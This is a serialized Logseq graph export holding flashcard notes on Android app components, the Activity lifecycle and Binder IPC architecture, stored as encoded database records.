^15logseq____&quot;,[409,logseq____&quot;^12logseq____&quot;,2,536873217]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Klogseq____&quot;,1740211142884,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;broadcast receiverlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^11logseq____&quot;,logseq____&quot;Broadcast Receiverlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Blogseq____&quot;,1740211142884,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-8185-486b-8686-d20f9d90893clogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Klogseq____&quot;,1740211142882,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;activitylogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^11logseq____&quot;,logseq____&quot;Activitylogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Blogseq____&quot;,1740213141527,536873793]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-1b75-4288-b4fd-54e22a4adc13logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Klogseq____&quot;,1740211142883,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;content providerlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^11logseq____&quot;,logseq____&quot;Content Providerlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Blogseq____&quot;,1740211142883,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-0d8b-4011-86f8-36b646831b3blogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Klogseq____&quot;,1740211142886,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;binder ipclogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^11logseq____&quot;,logseq____&quot;Binder IPClogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Blogseq____&quot;,1740213752823,536874025]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-4884-4eec-b7f4-29afd5af2280logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Binder IPC]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Flogseq____&quot;,309,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Xlogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Vlogseq____&quot;,299,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ulogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ulogseq____&quot;,413,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Hlogseq____&quot;,413,536878163]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-0742-4d15-ab5f-68e24a477807logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Broadcast Receiver]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Flogseq____&quot;,298,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Xlogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Vlogseq____&quot;,300,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ulogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ulogseq____&quot;,410,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Hlogseq____&quot;,410,536878163]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-ea1f-4840-879a-076fdddbd19clogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Flogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Vlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Jlogseq____&quot;,[],536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Hlogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Hlogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-2f0d-4b2f-bf85-0d744ee08b6alogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Represents screen in an applicationlogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Flogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-d2d3-46aa-b43b-c68e061ee3a1logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be composed of different views(/Composables)logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Flogseq____&quot;,418,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-a759-4312-89ca-736d861134e8logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Split into fragments (reusable UI modules)logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Flogseq____&quot;,419,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-4e6b-43ce-8611-36a538eb25cflogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;One main activity per applogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Flogseq____&quot;,420,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-ac28-4ae3-a243-28b15c35d897logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Stateflow/Lifecyclelogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Flogseq____&quot;,504,536873706]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Vlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Jlogseq____&quot;,[],536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-f2c1-45c5-a38f-3fb2a08d6cf5logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![Activity Lifecycle](https://developer.android.com/guide/components/images/activity_lifecycle.png){:height 671, :width 513}logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Flogseq____&quot;,422,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Vlogseq____&quot;,422,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Ulogseq____&quot;,411,536873707]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-21ef-4703-a9a1-4ba99c9cca1blogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #security-architecturelogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Flogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Vlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Jlogseq____&quot;,[],536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Hlogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Hlogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e73d-45c5-9b4b-57f87b40ed88logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for synchronous calls between processeslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Flogseq____&quot;,433,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-dc61-449c-9b2e-f96a0d9223calogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Service Manager (/Context Manager) (4): Used as registry/lookup for other Binder objectslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Flogseq____&quot;,434,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-c0eb-489c-a6fe-e47bbc24e031logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant B as Binder Kernel Module\\n participant S as App Process S (Receiver)\\n \\n A-logseq____&gt;logseq____&gt;B: 1) transaction = {recvS, payloadA}\\n B-logseq____&gt;logseq____&gt;S: 2) transaction = {payloadA, UID=A}\\n alt If two-way transaction\\n S-logseq____&gt;logseq____&gt;B: 3) reply = {payloadS}\\n B-logseq____&gt;logseq____&gt;A: 4) reply = {payloadS}\\n end\\n```logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Flogseq____&quot;,430,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-3806-4ac6-abe5-467dd4ad7f05logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder as patch to Linux kernellogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Flogseq____&quot;,437,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-c77d-4523-9f91-f2448a3507bdlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Per-process thread-pool for processing requestslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Flogseq____&quot;,426,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-a88a-4fac-b466-40cd41b968e9logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;IBinder interface (1): well-defined interface Binder objects must implementlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Flogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e6c4-4255-8877-b1caed0478b1logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Components #card #security-architecturelogseq____&quot;,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Flogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Vlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Hlogseq____&quot;,2,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Hlogseq____&quot;,38,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-4288-4f1a-a1f6-dd976963d7ablogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;High-performance, shared memory-based IPClogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Flogseq____&quot;,429,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e690-4980-b249-8a2e59b392calogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder token (handle/reference) (3): 32-bit integer acting as unique identifierlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Flogseq____&quot;,435,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-f950-401b-87f1-5e307c1f7a6blogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder object (2): Generic implementationlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Flogseq____&quot;,431,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-b107-4b32-bf40-f68f8f0e798elogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740160868007_0.png)logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Flogseq____&quot;,427,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5b57-4ee5-af4e-f046a0a3ada7logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Acts as building block for permission enforcementlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Flogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5e4e-442b-81b6-1ff9eeaef47elogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card 